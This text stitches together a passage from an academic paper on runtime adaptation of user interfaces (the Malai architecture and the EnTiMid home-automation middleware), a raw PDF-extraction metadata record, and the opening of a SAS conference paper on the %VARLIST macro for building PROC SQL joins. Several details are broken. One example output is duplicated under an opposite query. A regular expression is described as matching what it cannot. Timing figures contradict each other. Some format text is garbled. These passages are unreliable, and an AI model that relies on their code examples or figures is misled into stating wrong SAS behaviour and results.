Listings 2 defines an excerpt of the home automation action model in Kermeta. Abstract action NurseAction (line 1) defines the common part of actions that nurses can perform. Action AddNurseVisit (line 3) is a nurse action that adds an event into the nurse calendar (see method do line 12). Method canDo checks if the event can be added to the calendar (line 9). Methods undo and redo respectively remove and re-add the event to the calendar (lines 15 and 18). Action CallEmergencyService in another nurse action that calls the emergency service (line 23).
**Mapping Context Model to Action Model**
Actions can be disabled in certain contexts. For instance elderly people cannot perform actions specific to the nurse. Thus, action models must be constrained by context models. To do so we use Malan, a declarative mapping language [5]. Because it is used within the Malai architecture, the Malan language has been selected. Context-to-action models consists of a set of Malan expressions. For instance, one of the constraints of the home automation system states that elderly people cannot perform nurse actions. The Malan expression for this constraint is:
```
ElderlyPerson -> !NurseAction
```
where NurseAction means that all actions that inherit from action NurseAction are concerned by the mapping.
Another constraint states that nurses can call ambulances only if the house has a phone line. The corresponding Malan expression is:
```plaintext
House | | phoneLine | | | CallEmergencyService
```
where the expression between brackets (i.e., `| |`) is a predicate that uses attributes and relations of the corresponding class of the context (i.e. `House` in the example) to refine the constraint.
By default all the actions are enabled. Only actions targeted by context-to-action mappings can be disabled: on each context change, mappings are re-evaluated to enable or disable their target action.
**Presentation Definition**
Developers can define several presentations for the same UI: several presentations can compose at runtime the same UI to provide users with different viewpoints on the manipulated data; defining several presentations allows to select at runtime the presentations the best suited to the current context. For instance, the calendar that the nurse uses to add visits can be presented through two presentations: 1) a 2D-based presentation that displays the events of the selected month or week; 2) a list-based presentation that shows the events into a list widget.
```plaintext
Listing 3. Excerpt of the 2D-based abstract presentation
class Agenda {
attribute name : String
attribute events : Event[0..*]
attribute dates : Date[0..*]
}
class Event {
attribute name : String
attribute description : String
attribute place : String
reference date : Date
attribute start : TimeSlot
attribute end : TimeSlot
}
// ...
```
```plaintext
@aestheticQuality "high"
@space "low"
class AgendaUI {
attribute title : String
attribute linesUI : LineHourUI[0..*]
attribute handlerStart : Handler
attribute handlerEnd : Handler
attribute eventsUI : EventUI[0..*]
attribute datesUI : DateUI[0..*]
}
class EventUI {
attribute x : Real
attribute y : Real
attribute width : Real
attribute height : Real
}
// ...
```
**Instrument Definition**
Instruments transform input interactions into output actions. Instruments are composed of links and of a class model. Each link maps an interaction to a resulting action. Instrument’s class model defines attributes and relations the instrument needs. Widgets handled by instruments and that compose the UI are notably defined into the class model of instruments.
`VisitTypeSelector` is an instrument operating on the nurse agenda. This instrument defines the type of visit to add to the agenda. The selection of the type of visit can be performed using different widgets: several toggle buttons (one of each visit type) or a list can be used. While toggle buttons are simpler to use than a list (a single click to select a button against two clicks to select an item of a list), lists are usually smaller than a set of toggle buttons. The choice of using such or such widgets thus depends on the current context: if space is a prior objective, list should be privileged; otherwise, toggle buttons should be selected.
One of the contributions of our work consists of being able to choose the best suited interaction for a link at runtime: while defining instruments, developers can let interactions undefined. Interactions and widgets are automatically chosen and associated to instruments at runtime depending on the current context. For instance, Figure 2(a) describes the model of instrument \textit{VisitTypeSelector} as defined by developers. This model is composed of an incomplete link that only specifies the produced action \textit{SetVisitType}; the way this action is performed is let undefined. The class model of this instrument only defines a class corresponding to the instrument (class \textit{VisitTypeSelector}). This class model will also be completed at runtime.
Figure 2(b) corresponds to the model of Figure 2(a) completed at runtime. Toggle buttons have been chosen to perform action \textit{SetVisitType}. The interaction corresponding to the click on buttons (interaction \textit{ButtonPressed}) is added to complete the link. A set of toggle buttons (class \textit{ToggleButton}) is also added to the class model. This interaction and these widgets come from a predefined aspect encapsulating them. We defined a set of aspects for WIMP\textsuperscript{2} interactions (\textit{i.e.} based on widgets) that can automatically be used at runtime to complete instrument models.
Figure 2(c) corresponds to another completed model. This time, a list has been chosen. Interaction \textit{ItemChanged}, dedicated to the handle of lists, completes the link. A list widget (class \textit{List}) has been also added to the class model. This widget and its interaction also come from a predefined aspect.
Figure 3 presents an example of the instrument \textit{TimeslotSetter} completed with interactions. This instrument changes the time-slot of events of the nurse agenda (action \textit{SetTimeslotEvent}). Figure 3(a) shows this instrument completed with a drag-and-drop interaction (\textit{DnD}) and handlers. Handlers surround the selected event. When users drag-and-drop one of these handlers the time-slot of the event is modified. This interaction and these handlers were encapsulated into an aspect defined by the developer.
Figure 3(b) shows another aspect defined by the developer for instrument \textit{TimeslotSetter}: when the current platform supports bi-manual interactions, such as smartphones or tabletops, time-slot setting can be performed using such interactions instead of using a DnD and handlers.
Such flexibility on interactions and widgets is performed using QoS properties. Widgets and interactions are tagged with properties they maximize or minimize. Widgets are also tagged with properties corresponding to simple data type they are able to handle. For in-
stance, the toggle button widget is tagged with four properties: property *simplicity high* means that toggle buttons are simple to use; property *space low* means that toggle buttons do not optimize space; properties *enum* and *boolean* mean that toggle buttons can be used to manipulate enumerations and booleans. At runtime, these properties are used to find widgets appropriate to the current context.
**ADAPTATION PROCESS AT RUNTIME**
This section details the adaptation process at runtime. This process begins when the current context is modified. The context reasoner analyzes the new context to determine actions, presentations, interactions, and widgets that will compose the adapted UI. The weaver associates WIMP interactions and widgets to instruments. The UI composer adapts the UI to reflect the modifications.
**Reasoning on Context**
The context reasoner is dynamically notified about modifications of the context. On each change, the reasoner follows these different steps to adapt actions, presentations, instruments, interactions, and widgets, to the new context:
1. **foreach** Context change **do**
2. Re-evaluate mappings to enable/disable actions
3. Disable instrument’s links that use disabled actions
4. Enable instruments’s links that use enabled actions
5. Disable instrument’s links which interaction cannot be performed anymore
6. Disable instruments with no more link enabled
7. Select presentations by reasoning on properties
8. Select interactions/widgets for instruments by reasoning on properties
9. **end**

The process of enabling and disabling actions (line 2 of Algorithm 1) is performed thanks to the context-to-action mapping: if the change of context concerns a mapping, this last is re-evaluated. For instance with the home automation example, when the user switches from the nurse to the elderly person, mappings described in the previous section are re-evaluated. Actions that inherit from NurseAction are then disabled.
Once actions are updated, instruments are checked: instrument’s links that use the disabled, respectively enabled, actions are also disabled, respectively enabled (lines 3 and 4). Links using interactions that cannot be performed anymore are also disabled (line 5). For example, vocal-based interactions can only work on platforms providing a microphone. Instruments with no more link enabled are disabled (line 6).
Presentations that will compose the UI can now be selected (line 7). This process selects presentations by aligning their properties with those of the current context. In the same way, WIMP interactions and widgets are selected for instruments (line 8) using properties. These selections can be performed by different kind of optimization algorithms such as genetic algorithms or Tabu search. These algorithms are themselves components of the system. That allows to change the algorithm at runtime when needed.
We perform this reasoning on properties using the genetic algorithm NSGA-II [12]. Genetic algorithms are heuristics that simulate the process of evolution. They are used to find solutions to optimization problems. Genetic algorithms represent a solution of a problem as a chromosome composed of a set of genes. Each gene corresponds to an object of the problem. A gene is a boolean that states if its corresponding object is selected. For example with our UI adaptation problem, each gene corresponds to a variable part of the UI (the nurse actions, the toggle button aspect, the list aspect, the different presentations, etc.).
The principle of genetic algorithms is to randomly apply genetic operations (e.g. mutations) on a set of chromosomes. The best chromosomes are then selected to perform another genetic operation, and so on. The selection of chromosomes is performed using fitness functions that maximize or minimize objectives. In our case, objectives are properties defined by the developer. For instance readability is an objective to maximize. For each chromosome its readability is computed using the readability value of its selected gene:
\[
f_{readability} = \sum_{i=1}^{n} prop_{readability}(c_i)x_i
\]
Where \( f_{readability}(c) \) is the fitness function computing the readability of the chromosome \( c \), \( c_i \) is the gene at the position \( i \) in the chromosome \( c \), \( prop_{readability}(c_i) \) the value of the property *readability* of the gene \( c_i \), and \( x_i \) the boolean value that defines if the gene \( c_i \) is selected. For example:
\[
f_{readability}(001100111001011) = 23
\]
The fitness functions are automatically defined at design time from the properties used by the interactive system.
Chromosomes that optimize the result of fitness functions are selected. Constraints can be added to genetic algorithm problems. In our case a constraint can state that the gene corresponding to the calling emergency service action can be selected only if there is a line phone in the house.
When genetic algorithms are stopped, they provide a set of solutions that tend to be the best ones.
Weaving Aspects to Complete Models
Once interactions and widgets are selected, they must be associated with their instruments. To do so, we reuse the process proposed in the DiVA project to weave aspects with models. An aspect must specify where its content (in our case the interaction and possible widgets and components) must be inserted: this is the role of the pointcut. In our case pointcuts target instruments and more precisely an action and the main class of the instrument. An aspect must also define its composition protocol that describes how to integrate the content of the aspect into the pointcut.
Composing and Updating the User Interface
The goal of the UI composer is two-fold: 1) It composes the selected presentations and widgets at startup. 2) Once composed, the UI composer updates the UI on context changes if necessary. Because modifications of the UI must be smooth enough not to confuse the users, the UI must not be recomposed from scratch using 1). The existing UI must be updated to minimize graphical changes and to keep usability.
EVALUATION
Our proposal is based on two hypotheses: 1) it tames the combinatorial explosion of complex interactive systems adaptations; 2) adaptations performed using our proposal are well adapted to the current context. We evaluated these two hypotheses by applying our proposal to EnTiMid, a middleware for home automation. Each component of the UI of EnTiMid is developed with the Kermeta implementation of Malai. At the end of the conception time, executable models are compiled as OSGi components [25] to run on the top of DiVA. The use of OSGi permits instruments, actions, and presentations to be easily enabled and disabled at runtime.
The experiments described in this section have been performed on Linux using a laptop with a Core2Duo at 3.06GHz and 4Gb of RAM. Each result presented below is the average result of 1000 executions.
EnTiMid: a Middleware for Home Automation
EnTiMid is a middleware for home automation. It notably addresses two issues of the home automation domain, by providing a sufficient level of abstraction. The first issue is about interoperability of devices. Built by many manufacturers, devices are often not compatible with one another because of their communication protocol. EnTiMid offers a mean to abstract from these technical problems and consider only the product’s functionalities.
The second issue is about adaptation. Changes in the deployed peripherals or in the user’s habits imply changes in the interactive system dealing with the home. Moreover, many people with different skills will have to interact with the interactive system, and the UI must adapt to the user. Considering models at runtime, EnTiMid permits such dynamic adaptation.
Figure 4. Part of the EnTiMid UI that controls the lights, the heaters, and the shutters of the home
Figure 4 shows a part of the EnTiMid’s UI that manages home devices such as heaters, shutters, and lights. A possible adaptation is if the home does not have any shutter, related actions will be disabled and the UI adapted to not provide the shutter tab.
Hypothesis 1: Combinatorial explosion taming
We evaluate this hypothesis by measuring the adaptation time of five versions of EnTiMid, called $v_1$ to $v_5$. These versions have an increasingly level of complexity, respectively around 0.262, 0.786, 4.7, 42.4, and 3822 millions of configurations. These different levels of complexity have been obtained by removing features from version $v_5$. A configuration defines which components of the interactive system are enabled or disabled.
The adaptation time starts after a change of context and ends when the UI is adapted accordingly. The adaptation time is composed of: the time elapsed to select the optimal possible configuration in a limited time; the time elapsed to reconfigure the interactive system and its UI.
Figure 5 presents our results using the reasoner based on the NSGA-II genetic algorithm. It shows that the reasoning time remains linear between 0.262 and 0.800ms. That because the parameters of the reasoner (e.g. the number of generations, the size of the population) are
automatically modified in function of the complexity of the system to run between 500 and 1000ms. Figure 5 also shows that the configuration time (i.e., when the system and its UI are modified) remains constant around 200ms. That brings the full adaptation time to around 1 second for the most complex version of EnTiMid.
Hypothesis 2: Adaptations quality
Finding a configuration in a limited time makes sense only if the configuration found is of good quality. Thus, we now evaluate the quality of the configurations found by the genetic reasoner in the limited time-slots described above. We compared these configurations with the optimal configurations. Optimal configurations are configurations giving the best results using the fitness functions. These optimal configurations have been computed by an algorithm exploring all the solutions. Such computations took 4.5s, 10s, 480s, and 7200s for respectively $v_1$, $v_2$, $v_3$, and $v_4$. We were not able to compute the optimal solutions of $v_5$ due to time and resource constraints.

Figure 6 presents the number of optimal configurations found by the genetic reasoner with $v_1$, $v_2$, $v_3$, and $v_4$. In average the reasoner always found optimal configurations for every version of EnTiMid tested. However, the performance slightly decreases while the complexity increases. For example with $v_4$, several adaptations among the 1000 performed did not find some of the optimal configurations. This result is normal since we cannot obtain same quality results in the same limited time for problems whose complexity differ.
We can state that the genetic reasoner gives good results for EnTiMid. But it may not be the case for less complex or different interactive systems. One of the advantages of our proposal is that the reasoner is also a component that can be selected in function of the context. For instance with a simple interactive system (e.g., 10000 configurations), the selected reasoner should be a reasoner that explores all the configuration since it will not take more than 0.5s.
Threats to validity
An important remark on this evaluation is that in our current implementation the configuration quality does not include the evaluation of the usability of adaptations, nor the user’s satisfaction. For example our process may perform two following adaptations provoking big changes in the UI, that may disturb the user. Such evaluations can be performed by:
- The reasoner while selecting a configuration. In this case, the previous UI will be integrated into the genetic algorithm under the form of fitness functions maximizing the consistency of the adapted UI.
- A configuration checker that would evaluate the best configuration among the best ones found by the reasoner.
The configurations found by the genetic reasoner mainly depend on the properties defined on the components of the interactive systems. The developers have to balance them through simulations to obtain good results [14].
This paper does not focus on the UI composition. The UI composer used in this evaluation is basic and takes a negligible amount of time during the reconfiguration. The use of a more complex composer will slow down the configuration process.
RELATED WORK
The conception of dynamic adaptable systems has been widely tackled in the software engineering domain [20]. Software engineering approaches use model-driven engineering (MDE) to describe the system as a set of models. These models are sustained at runtime to reflect the underlying system and to perform adaptations. This process thus bridges the gap between design time and runtime. Yet these approaches do not focus on the adaptation of UIs. For example in [9], Cetina et al. propose an approach to autonomic computing, and thus to dynamic adaptation, applied on home automation. This approach lacks at considering the system as an interactive system whose UI needs adaptations.
Based on MDE, UI adaptation has been firstly tackled during design time to face the increasing number of platforms (e.g., Dygmes [11], TERESA [19] and Florins et al., [15]). These adaptation approaches mainly follow the CAMELEON top-down process composed of 1) the task model 2) the abstract UI 3) the concrete UI 4) the final UI [8]. Using the CAMELEON process, developers define several concrete UIs using one abstract UI to support different platforms. Users and the environment have been also considered as adaptation parameters, such as in UsiXML [18] and Contextual ConcurTaskTrees [3]. A need to adapt at runtime UIs thus appear to face to any change of user, environment and platform.
Approaches have been proposed to consider models of UIs at runtime [2, 24, 6]. In [7, 6], Blumendorf et al.
propose a framework for the development and execution of UIs for smart environments. Their proposal shares several points with ours: the use of a mapping metamodel to map models; they consider that bridging design time and runtime implies that models are executable. However, they focus on the link between the models and the underlying system while we focus on the adaptation of complex interactive systems.
In [24], Sottet et al. propose an approach to dynamically adapt plastic UI. To do so, a graph of models that describe the UI is sustained and updated at runtime. The adaptation is based on model transformations: in function of the context change, the appropriate transformation is identified and then applied to adapt the UI. This process follows the event-condition-action paradigm where the event is the context change and the action the corresponding transformation. The main drawbacks of this approach are that: transformations must be maintained when the interactive system evolves; the development of complex interactive systems will lead to the combinatorial explosion of the number of needed transformations.
CAMELEON-RT is a conceptual architecture reference model [2]. It allows the distribution, migration, and dynamic adaptation of interactive systems. Adaptations are performed using rules predefined by developers and users, or learned by the evolution engine at runtime. A graph of situations is used to perform adaptations: when the context changes, the corresponding situation is searched into the graph. The found situation is then provided to the evolution engine that performs the adaptation. This approach focuses on the usability of adaptations. However, it can hardly deal with complex systems because of the need to define a graph of situations.
ReWiRe is a framework dedicated to the dynamic adaptation of interactive systems [26]. As in our approach, ReWiRe’s architecture uses a component-based system that facilitates the (de-)activation of the system’s components. But ReWiRe suffers from the same main limitation than CAMELEON-RT: it can hardly deal with complex systems because of the increasing complexity of the ontology describing the whole runtime environment.
In [13], Demeure et al. propose a software architecture called COMETs. A COMET is a task-based interactor that encapsulates different presentations. It also embeds a reasoner engine that selects the presentation the more adapted to the current context. While we define a unique reasoner for the entire interactive system, COMETs defines one reasoner for each widget. We think that tagging widgets with properties that a global reasoner analyzes is a process that requires less effort than defining several reasoners.
The approach presented in [17] is close to COMETs where UI components can embed several presentations and an inference engine deducing from the context the presentation to use.
In [23], Schwartze et al. propose an approach to adapt the layout of UIs at runtime. They show that the UI composer must also be context-aware to layout UIs in function of the current user and its environment. For example, our reasoner decides the components that will compose the UI, but not their disposition in the adapted UI. It is the job of the UI composer that analyzes the context to adapt the layout of the UI accordingly.
DYNAMO-AID is a framework dedicated to the development of context-aware UIs adaptable at runtime [10]. In this framework, a forest of tasks is generated from the main task model and its attached abstract description. Each task tree of this forest corresponds to the tasks possible for each possible context. Because of the combinatorial explosion, such process can be hardly scalable to complex interactive systems.
In [16], Gajos and Weld propose an approach, called Supple, that treat the generation of UIs as an optimization problem. Given a specific user and device, Supple computes the best UI to generate by minimizing the user effort and respecting constraints. This approach is close to our reasoning step. However, Supple is not MDE-driven and only consider user effort as objective while our approach allows developers to define their own objectives.
CONCLUSION
Adapting complex interactive systems at runtime is a key issue. The software engineering community has proposed approaches to dynamically adapt complex systems. However, they lack at considering the adaptation of the interactive part of systems. In this paper, we have described an approach based on the Malai architectural model and that combines aspect-oriented modeling with property-based reasoning. The encapsulation of variable parts of interactive systems into aspects permits the dynamic adaption of user interfaces. Tagging UI components and context models with QoS properties allows the reasoner to select the aspects the best suited to the current context. We applied the approach to a complex interactive system to evaluate: the time spent adapting UIs on context changes; the quality of the resulting adapted UIs.
Future work will focus on the consideration of adaptations quality during the reasoning process. It will assure consistency between two adapted UIs. Work on context-aware composition of UIs will be carried out as well.
ACKNOWLEDGMENTS
The research leading to these results has received funding from the European Communitys Seventh Framework Program FP7 under grant agreements 215412.
REFERENCES
|
{"Source-Url": "https://inria.hal.science/inria-00590891/file/main.pdf", "len_cl100k_base": 8107, "olmocr-version": "0.1.53", "pdf-total-pages": 11, "total-fallback-pages": 0, "total-input-tokens": 37104, "total-output-tokens": 10431, "length": "2e12", "weborganizer": {"__label__adult": 0.00028896331787109375, "__label__art_design": 0.0008158683776855469, "__label__crime_law": 0.00024390220642089844, "__label__education_jobs": 0.0006899833679199219, "__label__entertainment": 7.659196853637695e-05, "__label__fashion_beauty": 0.00015544891357421875, "__label__finance_business": 0.00016689300537109375, "__label__food_dining": 0.00026416778564453125, "__label__games": 0.0005369186401367188, "__label__hardware": 0.00090789794921875, "__label__health": 0.0003199577331542969, "__label__history": 0.0002880096435546875, "__label__home_hobbies": 7.68899917602539e-05, "__label__industrial": 0.00033092498779296875, "__label__literature": 0.0002491474151611328, "__label__politics": 0.00020456314086914065, "__label__religion": 0.0003867149353027344, "__label__science_tech": 0.0268096923828125, "__label__social_life": 7.015466690063477e-05, "__label__software": 0.0081939697265625, "__label__software_dev": 0.9580078125, "__label__sports_fitness": 0.0002061128616333008, "__label__transportation": 0.0003781318664550781, "__label__travel": 0.00016939640045166016}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 44336, 0.01637]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 44336, 0.38909]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 44336, 0.87809]], "google_gemma-3-12b-it_contains_pii": [[0, 1180, false], [1180, 4971, null], [4971, 9733, null], [9733, 14694, null], [14694, 17706, null], [17706, 20495, null], [20495, 25593, null], [25593, 29758, null], [29758, 34580, null], [34580, 40007, null], [40007, 44336, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1180, true], [1180, 4971, null], [4971, 9733, null], [9733, 14694, null], [14694, 17706, null], [17706, 20495, null], [20495, 25593, null], [25593, 29758, null], [29758, 34580, null], [34580, 40007, null], [40007, 44336, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 44336, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 44336, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 44336, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 44336, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 44336, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 44336, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 44336, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 44336, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 44336, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 44336, null]], "pdf_page_numbers": [[0, 1180, 1], [1180, 4971, 2], [4971, 9733, 3], [9733, 14694, 4], [14694, 17706, 5], [17706, 20495, 6], [20495, 25593, 7], [25593, 29758, 8], [29758, 34580, 9], [34580, 40007, 10], [40007, 44336, 11]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 44336, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-07
|
2024-12-07
|
595b26b67d70c7c2eb1e34e18c2eef2352dfa0e6
|
Dynamic, Powerful, User-friendly SQL JOINS Made Easy with %VARLIST, a Generic SAS Macro Function
Jean-Michel Bodart, Business & Decision Life Sciences, Brussels, Belgium
ABSTRACT
PROC SQL is renowned as a powerful method to perform a variety of simple to complex dataset joins (or merges) with SAS®. However, writing and maintaining the SQL code quickly becomes a tedious task as soon as we depart from the simplest situations.
The macro-function %VARLIST() was developed as a generic utility function to retrieve lists of variables from one or more datasets, and process them according to specified criteria in order to dynamically generate SQL code fragments. Thus a few simple %VARLIST() calls inserted between additional SQL keywords will generate a full SQL join of arbitrary complexity.
This paper will present in a few examples the general syntax of SQL joins of increasing complexity applied to clinical data, show how %VARLIST() can be used to simplify SQL code generation and make it dynamic, and introduce the implementation of the necessary functionality as a macro-function.
INTRODUCTION
PROC SQL is renowned as a powerful method to perform a variety of simple to complex dataset joins (or merges) with SAS. However, writing and maintaining the SQL code quickly becomes a tedious task especially when not all variables cannot be handled all the same way (using *, or natural joins) and but must be listed explicitly.
SAS Macros are another well-known, powerful feature of the SAS system that can be used for automating, repeating and/or controlling a program execution. The macro language has its own syntax, and a limited set of statements and built-in functions.
Macro functions such as %INDEX(), %SUBSTR(), or %LOWCASE() compute a result based on specified or default arguments, and return (or resolve to) a value, which is then used inside other user-written macro definitions or in open code such as data step, global statements and procedure calls. Nesting macro functions is also possible, i.e. the result of an inner macro function becomes the argument of an outer macro function. For example the following nested macro functions can be used to retrieve the 3 characters code of the month in lowercase from a DATE9.
Formatted date:
%put %LOWCASE(%SUBSTR(12OCT2015, 3, 3));
Which writes to the log:
oct
Moreover, SAS macro language allows users to create new macro functions and extend the available functionality.
USER-DEFINED MACRO-FUNCTIONS
User-written macro-functions such as %VARLIST() are composed of macro-code that is purely processed by the SAS Macro Language Processor; they cannot contain any DATA step or PROC step or global statement. Any text that remains "unprocessed" by the macro language processor becomes the return-value of the macro-function, i.e. what the macro-function resolves to. Here is an example macro-function that reformats the date passed as its argument.
%macro nicedate(date);
%local datenum;
%let datenum=%sysfunc(inputn(&date, ANYDTDTE.));
%sysfunc(putn(&datenum, WEEKDATX.))
%mend;
%let datex=%nicedate(&sysdate9); %put I ran this example on &datex
[sysdate9=&sysdate9]
The log shows:
I ran this example on Wednesday, 2 September 2015 [sysdate9=02SEP2015]
In the example call, the current date from &sysdate9 is passed to macro %nicedate as macro-parameter &date, which is read by the nested function call %sysfunc(inputn()) into macro-variable &datenum as a numerical value using informat ANYDTDTE. Then &datenum value is formatted back to a character date with format WEEKDATX., by the nested function call %sysfunc(putn()). Note the returned value from this function call is not assigned to a macro variable within macro %nicedate, nor interpreted as a macro statement, and is also not followed by a semicolon; that...
value is then left unchanged by the macro language processor, and becomes itself the return value of the %nicedate() macro-function. The result of the macro function %nicedate is assigned to macro-variable &datex, which is printed to the log using the %put macro statement.
THE MACRO-FUNCTION %VARLIST
The macro-function %VARLIST() was developed as a generic utility function to retrieve lists of variables from one or more datasets, and process such lists according to specified criteria in order to dynamically generate code fragments. Here is a simple example of %VARLIST() used to retrieve (by default) all the variables names found in the specified dataset SASHELP.CLASS:
```sas
%let v = %VARLIST(data=SASHELP.CLASS);
%put v = &v;
```
Which displays in the log the list of variables found in SASHELP.CLASS, according to the dataset order:
```
v = Name Sex Age Height Weight
```
INGREDIENTS USED TO BUILD %VARLIST
%VARLIST() was created using SAS built-in macro-functions: %upcase(), %capcase(), %symexist(), %eval(), %index(), %eval(), %scan(), %qscan(), %length(), %substr(), %qsubstr(), %str(), %quote(), %bquote(), %superq(), %unquote(); as well as data step / SCL functions and call routines (most of which can be made available to the macro processor via the %sysfunc() and %qsysfunc() functions or the %syscall statement): open(), close(), attrn(), varnum(), varname(), varlen(), vartype(), varfmt(), varinfmt(), varlabel(), tranwrd(), index(), putn(), pxparse(), prxmatch(), prxchange(), prxfree(), quote(). The macro statements %let, %if .. .%then, %else, %do .. .%to, %do .. .%while, %do .. .%until() are also used. For more information about these elements, refer to SAS online help.
CONTROLLING THE VARIABLES TO BE INCLUDED IN THE RETURNED LIST
It is possible to return only the variables names matching those from a specified list, which must be space-separated. The following only returns variables in the list: "Weight Height BMI BSA" when found in the dataset SASHELP.CLASS:
```sas
%put %VARLIST(data=SASHELP.CLASS, var=Weight Height BMI BSA);
```
Which results in:
```
Weight Height
```
The matching of variables names is non case-sensitive. The keywords #all#, #num#, #char# can be used to refer respectively to all variables, the numerical variables, the character variables from the dataset. You can use constructs like #2-4# to refer to the second, third and fourth variables according to dataset order, or #9# to the ninth variable; col05-07 will match variables "col05", "Col6" and "COL07" (case-insensitive); use B: for variable names starting with "B" (or "b"); use :ght for variables ending with "ght", cm:dt for variables starting with "cm" and ending with "dt", EXDOSE-EXDUR to match all variables with names between EXDOSE and EXDUR in alphabetical order (e.g. EXDOSE, EXDOSFRM, EXDOSFRQ, EXDOSRGM, EXDOSTOT, EXDOSTXT, EXDOSU, EXDUR but not EXCAT nor EXELTM). Sex-Height matches all variables from Sex to Height in dataset order, e.g.:
```sas
%put %VARLIST(data=SASHELP.CLASS, var=Sex--Height);
Sex Age Height
```
Perl regular expressions like /<pattern>/ can also be used to match variable names; e.g. /^trt[1-9]?$/ matches any variable name starting with "trt", followed by two digits (from 00 to 99), followed optionally by "n", and without any additional characters. A case-insensitive match is applied.
Variable list operator #not# (or #except#) makes it possible to return only those variables names not matching those from a specified list. The following only returns numerical variables from dataset SASHELP.CLASS that are not in the list: "Weight Height BMI BSA":
```sas
%put %VARLIST(data=SASHELP.CLASS, var=#num #not# Weight Height BMI BSA);
```
Which results in:
```
Age
```
RETRIEVING VARIABLES FROM MULTIPLE DATASETS
It is possible to return variables names retrieved from a combination of multiple datasets. By default, specifying multiple datasets will return a unique list of variable names found in one or more of these datasets. The default dataset operator is #UNION# (or #OR#). Other dataset operators are:
- #INTERSECT# (or #AND#), which requires the variable(s) to exist both in the dataset (or combination of datasets) on the left side of the operator, and in the (first) dataset on its right side.
- #EXCEPT# (or #NOT#), which requires the variable(s) to exist in the dataset (or combination of datasets) on the left side of the operator, but to be absent from the (first) dataset on its right side.
- #XOR# (exclusive OR), which requires the variable(s) to exist either in the dataset (or combination of datasets) on the left side of the operator, or in the (first) dataset on its right side, but they cannot exist in both.
PhUSE 2015
Note that dataset operators are evaluated sequentially from left to right, and using parentheses to alter evaluation order is not supported.
The following examples show the variables that are retrieved from various combinations of datasets SASHELP.CLASS and SASHELP.CLASSFIT:
%put One or Both: %VARLIST(data=SASHELP.CLASS #UNION# SASHELP.CLASSFIT).;
One or Both: Name Sex Age Height Weight predict lowermean uppermean lower upper.
%put Both: %VARLIST(data=SASHELP.CLASS #INTERSECT# SASHELP.CLASSFIT).;
Both: Name Sex Age Height Weight.
%put CLASS not CLASSFIT: %VARLIST(data=SASHELP.CLASS #NOT# SASHELP.CLASSFIT).;
CLASS not CLASSFIT: predict lowermean uppermean lower upper.
%put CLASSFIT not CLASS: %VARLIST(data=SASHELP.CLASSFIT #NOT# SASHELP.CLASS).;
CLASSFIT not CLASS: predict lowermean uppermean lower upper.
%put One not Both: %VARLIST(data=SASHELP.CLASS #XOR# SASHELP.CLASSFIT).;
One not Both: predict lowermean uppermean lower upper.
PROCESSING LISTS OF VARIABLES
The parameter pattern= is a kind of expression that controls how each variable retrieved or processed by %VARLIST() will appear in the returned value. In building that expression you can use keywords that will be replaced by the corresponding attribute of the variable, and non-keyword text that will appear unchanged. A separator specified by parameter sep= will be inserted between the processed pattern for one variable and the processed pattern for the next variable. E.g., the keywords #var#, #vtyp#, #vlen#, #vfmt#, #vinfmt# and #vlab# can be used in parameter pattern= and will be replaced respectively by the variable name, its type (C or N), length, format, informat and label (not quoted). Keywords recognized as part of the sep= parameter are: #space# (or #s#), #comma# (or #c#), #semicolon# (or #sc#), replaced respectively by a single space character ( ), a comma (,) and a semicolon (;). The keywords #and# and #or# will be replaced respectively by the word “and” and “or” (both enclosed within spaces); #cs# and #scs# stand respectively for a comma and a semicolon, each of them followed by one space.
Using the default value of parameters pattern= (i.e. keyword #var#) and sep= (i.e. keyword #space#) will simply return the list of variable names separated by spaces.
Therefore, %VARLIST() could be used to return a specific attribute for a single variable, e.g.
%put %VARLIST(data=SASHELP.CLASS, var=Sex, pattern=#vtyp#); C
%put %VARLIST(data=SASHELP.CLASS, var=Sex, pattern=#vlen#); 1
It could also be used to rename variables, e.g. by adding an underscore (_) as prefix, and a C (for character variables) or an N (for numeric variables) to the original variable name:
%put RENAME %VARLIST(data=SASHELP.CLASS, pattern=#var#=_#var##typ#); RENAME Name=_NameC Sex=_SexC Age=_AgeN Height=_HeightN Weight=_WeightN
The following example retrieves multiple attributes of variables MEMNAME and CRDATE from dataset SASHELP.VTABLE, and demonstrates that the keywords #vfm# and #vinfmt# are replaced by an empty string for variables respectively without a format and an informat (such as MEMNAME):
%put %VARLIST(data=sashelp.vtable, var=memname crdate, sep=#cs#, pattern=#var# length=#vlen# label="#vlab#" format="#vfmt# informat=#vinfmt#); The log shows:
memname length=32 label="Member Name" format= informat= ,
crdate length=8 label="Date Created" format=DATETIME. informat=DATETIME.
In this example, the returned string has a syntax compatible with items usable in PROC SQL SELECT clause (column-name <AS alias> <column-modifier <... column-modifier>>) for variables having both a format and an informat (such as CRDATE), but a syntax error (expecting a format name / an informat name) would be generated for variables (such as MEMNAME) without a format and/or informat. Additionally, the expression generated from "#vlab#" (or "#vlab#:"
) may contain unmatched quotes if the label itself contains quotes. Such issues can be prevented using alternative keywords: #vfmtdef# and #vinfmtdef# are similar to #vfmt# and #vinfmt# but return default (in)formats ($<length>-, and Best12, respectively for character and numeric variables, where $<length>$ is the length of the character variable), and #vlabq# returns an already quoted version of the variable label that caters for embedded quotes (or " if no label is defined).
